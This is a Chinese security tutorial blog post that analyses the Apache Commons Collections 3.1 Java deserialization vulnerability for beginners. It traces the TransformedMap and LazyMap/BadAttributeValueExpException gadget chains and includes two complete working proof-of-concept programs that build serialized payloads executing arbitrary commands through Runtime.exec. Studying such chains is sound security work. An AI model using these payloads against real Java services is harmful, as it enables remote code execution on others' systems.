本文首发于先知社区:从apache-commons-collections中学习java反序列化 - 先知社区 (aliyun.com) 
前言     java安全学习的第一篇文章,apache commons collections3.1 的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。
环境准备 
jdk 1.7版本 
IntelliJ IDEA
File -> Project Structure ->Modules-> Dependencies ->JARs or directories 
 
 
commons-collections-3.1 jar
 
 
基础知识准备 java反射机制     反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。
    Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
1 2 3 4 5 Java.lang.Class; Java.lang.reflect.Constructor ;  Java.lang.reflect.Field; Java.lang.reflect.Method ;  Java.lang.reflect.Modifier; 
获取反射中的Class对象 1 2 3 4 5 6 7 #Class . Class clz = Class .Name("java.lang.String" ) ; #使用 .class  方法。 Class clz = String .class ; #使用类对象的 getClass()  方法 String str = new  String("Hello" ) ; Class clz = str.getClass() ; 
获取方法 1 2 3 getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class 的对象 public  Method  getMethod (String name, Class <?>... parameterTypes) 
反射Runtime执行本地命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Class runtimeClass1 = Class .Name("java.lang.Runtime" ) ; Constructor constructor = runtimeClass1.getDeclaredConstructor() ; constructor.setAccessible(true ) ; Object runtimeInstance = constructor.new Instance() ; Method runtimeMethod = runtimeClass1.getMethod("exec" , String.class ) ; Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd); InputStream in  = process.getInputStream() ; System .IOUtils .to String(in , "UTF-8" ) );
Java反序列化     类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject 方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。 
1 2 3 4 5 private  void  writeObject(ObjectOutputStream oos)  private  void  readObject(ObjectInputStream ois)  private  void  readObjectNoData()protected  Object  writeReplace()  protected  Object  readResolve()
反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObject和writeObject方法从而实现自定义的序列化和反序列化操作。
漏洞原理分析 我们在分析cc链反序列化化漏洞的主要思路其实就是两条:
利用InvokerTransformer 、 ConstantTransformer 、 ChainedTransformer 等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。 
找Common Collections中的类在反序列化时,会触发调用 transform 方法的情况,并以此来构建反序列化漏洞的攻击链。 
 
接下来我们使用IDEA跟进代码进行审计
一、寻找反射链 IDEA跟进类中(48~61行): 
    可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName , this.iParamTypes, this.iArgs我们都是可以直接输入的。而input是在函数调用的时候传入的,我们同样是可控的。
当我们向对应参数传入以下值,即可以调用代码执行:
    存在一组可控的反射调用 是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。
要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:
1 getMethod () , getRuntime () , exec ()  ,invoke () 
所以我们之后找到了ChainedTransformer 类。
IDEA跟进53~63行 
简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer就可以依次去调用每一个类的transform方法。
接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。
最后的反射poc如下: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = new  Transformer [] {                          new  ConstantTransformer (Runtime.class),                          new  InvokerTransformer ("getMethod" ,                     new  Class [] {String .class, Class[].class  },                     new  Object []  {"getRuntime" , new  Class [0 ] }),                         new  InvokerTransformer ("invoke" ,                     new  Class [] {Object.class, Object[].class  },                     new  Object []  {null , new  Object [0 ] }),                         new  InvokerTransformer ("exec" ,                     new  Class [] {String .class  },                     new  Object []  {"open -a Calculator" })    }; Transformer transformerChain = new  ChainedTransformer (transformers); 
我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。
二、寻找触发链 1 2 3 4 5 某个类的readObject方法 ->一系列调用 ->Transformerchain的transformer方法 ->执行反射链 ->执行Runtime.getRuntime().exec(new  String[]{"calc" }) 
找到一个 tansform() 方法 , 该方法所属的实例对象是可控的 
找到一个重写的 readObject() 方法 , 该方法会自动调用 transform() 方法. 
 
    Transmap类 在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。
     因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。
调用链: 1 2 3 4 5 6 ->ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next().setValue() ->TransformedMap.checkSetValue()  -> TransformedMap.transform()->ChainedTransformer.transform() 
分析: 首先看/org/apache/commons/collections/map/TransformedMap
1 2 3 4 5 protected  TransformedMap (Map map , Transformer keyTransformer, Transformer valueTransformer)          super(map );         this .keyTransformer = keyTransformer;         this .valueTransformer = valueTransformer;     } 
 TransformedMap中的valueTransformer在初始化时我们是可控的.
1 2 3 4 5 public  Object  put(Object  key , Object  value) {        key  = this .transformKey(key );         value = this .transformValue(value);         return  this .getMap().put(key , value);     } 
当执行put方法时会进入transformValue方法:
1 2 3 protected  Object transformValue(Object object ) {        return  this .valueTransformer == null  ? object  : this .valueTransformer.transform(object );     } 
我们可以控制这里的valueTransformer值为ChianedTransformer即可触发利用链。
但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢? 
    调用java自带类AnnotationInvocationHandler中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。
1 var5 .setValue ((new  AnnotationTypeMismatchExceptionProxy (var8 .getClass () + "[" + var8 + " ] ")).setMember ((Method )var2 .members ().get (var6 )));
TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码
1 2 3 4 public  Object setValue (Object value  )            value  = this .parent.checkSetValue(value );             return  this .entry.setValue(value );         } 
接着到了TransoformedMap的checkSetValue()方法。
1 2 3 protected  Object checkSetValue (Object value  )    return  this .valueTransformer.transform(value ); } 
    这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。
最后的POC: 这里直接上其他大师傅们的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package Serialize2; import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.io.*;import  java.lang.annotation.Target;import  java.lang.reflect.Constructor;import  java.util.HashMap;import  java.util.Map;public  class  ApacheSerialize2 implements Serializable  {    public  static void  main(String[] args) throws Exception {          Transformer[] transformers = new  Transformer[]{                  new  ConstantTransformer(Runtime.class ),                  new  InvokerTransformer("getMethod", new  Class []{String.class , Class [].class }, new  Object []{"getRuntime", new  Class [0 ]}),                  new  InvokerTransformer("invoke", new  Class []{Object .class , Object [].class }, new  Object []{null , new  Object [0 ]}),                  new  InvokerTransformer("exec", new  Class []{String.class }, new  Object []{"calc.exe"})          };          Transformer transformerChain = new  ChainedTransformer(transformers);          Map map = new  HashMap();          map.put("value", "sijidou");          Map transformedMap = TransformedMap.decorate(map, null , transformerChain);          Class  cl = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler");          Constructor ctor = cl.getDeclaredConstructor(Class .class , Map.class );          ctor.setAccessible(true );          Object  instance = ctor.newInstance(Target.class , transformedMap);          //序列化          FileOutputStream fileOutputStream = new  FileOutputStream("serialize3.txt");          ObjectOutputStream objectOutputStream = new  ObjectOutputStream(fileOutputStream);          objectOutputStream.writeObject(instance);          objectOutputStream.close ();          //反序列化          FileInputStream fileInputStream = new  FileInputStream("serialize3.txt");          ObjectInputStream objectInputStream = new  ObjectInputStream(fileInputStream);          Object  result = objectInputStream.readObject();          objectInputStream.close ();          System .out .println(result);     } } 
JDK1.8–LazyMap利用链     对于JDK 1.8来说,AnnotationInvocationHandler类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,
调用链 1 2 3 4 5 6 反序列化BadAttributeValueExpException ->BadAttributeValueExpException .Object()  ->TideMapEntry .to String()  ->TideMapEntry .Value()  ->LazyMap .()  ->ChainedTransformer .()  
分析 我们首先看一下LazyMap这个类,这个类也实现了一个map接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected  LazyMap(Map map , Transformer factory){   super (map );   if  (factory == null ) {     throw  new  IllegalArgumentException("Factory must not be null" );   }   this .factory = factory; } public  Object  get (Object  key ){   if  (!this .map .containsKey(key ))   {     Object  value = this .factory.transform(key );      this .map .put(key , value);     return  value;   }   return  this .map .get (key ); } 
        我们可以看到get方法 中如果没有找到key的键值,就会调用factory.transform(key);,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。
那么如何去自动调用get()方法,跟进TiedMapEntry类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  TiedMapEntry(Map map , Object  key ){   this .map  = map ;   this .key  = key ; } public  String  toString(){    return  getKey() + "="  + getValue(); } public  Object  getValue(){   return  this .map .get (this .key ); } 
在TiedMapEntry中,构造时传入使用LazyMap,调用tostring()方法,然后紧接着就会调用LazyMap类对象的get方法。
    那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。
BadAttributeValueExpException类 看到BadAttributeValueExpException的readObject反序列化方法,调用了toString方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private  void  readObject(ObjectInputStream ois) throws  IOException, ClassNotFoundException {    ObjectInputStream.GetField gf = ois.readFields();     Object valObj = gf.get("val" , null );     if  (valObj == null ) {         val = null ;     } else  if  (valObj instanceof  String) {         val= valObj;     } else  if  (System.getSecurityManager() == null              || valObj instanceof  Long              || valObj instanceof  Integer             || valObj instanceof  Float              || valObj instanceof  Double              || valObj instanceof  Byte              || valObj instanceof  Short              || valObj instanceof  Boolean ) {         val = valObj.toString();     } else  {          val = System.identityHashCode(valObj) + "@"  + valObj.getClass().getName();     } } 
    其中 valObj 为构造的 TiedMapEntry 类的对象,可以看到其中调用了该类的 toString 函数。
    所以,我们只要构造一个BadAttributeValueExpException对象,并注入我们精心制造的TiedMapEntry对象。就可在以在反序列时,执行任意命令。
最后的POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  class  Exec  {    public  static  BadAttributeValueExpException getObject(final  String command) throws  Exception {         final  String[] execArgs = new  String[] { command };                  final  Transformer transformerChain = new  ChainedTransformer(                 new  Transformer[]{ new  ConstantTransformer(1 ) });                  final  Transformer[] transformers = new  Transformer[] {                 new  ConstantTransformer(Runtime .class ),                 new  InvokerTransformer("getMethod" , new  Class [] {                         String.class , Class [].class  }, new  Object[] {                         "getRuntime" , new  Class [0 ] }),                 new  InvokerTransformer("invoke" , new  Class [] {                         Object.class , Object[].class  }, new  Object[] {                         null , new  Object[0 ] }),                 new  InvokerTransformer("exec" ,                         new  Class [] { String.class  }, execArgs),                 new  ConstantTransformer(1 ) };         final  Map innerMap = new  HashMap();         final  Map lazyMap = LazyMap.decorate(innerMap, transformerChain);         TiedMapEntry entry = new  TiedMapEntry(lazyMap, "foo" );         BadAttributeValueExpException val = new  BadAttributeValueExpException(null );         Field valfield = val.getClass().getDeclaredField("val" );         valfield.setAccessible(true );         valfield.set(val, entry);         Class <? extends  Transformer> aClass = transformerChain.getClass();         Field iTransformers = aClass.getDeclaredField("iTransformers" );         iTransformers.setAccessible(true );         iTransformers.set(transformerChain,transformers);         return  val;     }     public  static  void  main(String[] args) throws  Exception {         BadAttributeValueExpException calc = getObject("calc" );         ByteArrayOutputStream byteArrayOutputStream = new  ByteArrayOutputStream();         ObjectOutputStream objectOutputStream = new  ObjectOutputStream(byteArrayOutputStream);         objectOutputStream.writeObject(calc);         objectOutputStream.flush();         objectOutputStream.close();         byte [] bytes = byteArrayOutputStream.toByteArray();          ByteArrayInputStream byteArrayInputStream = new  ByteArrayInputStream(bytes);         ObjectInputStream objectInputStream = new  ObjectInputStream(byteArrayInputStream);         Object o = objectInputStream.readObject();      } } 
参考文章 https://b1ue.cn/archives/166.html 
https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ 
https://www.secpulse.com/archives/137940.html 
https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/ 
https://security.tencent.com/index.php/blog/msg/97 
https://www.xmanblog.net/java-deserialize-apache-commons-collections/ 
https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ 
https://xz.aliyun.com/t/4558#toc-0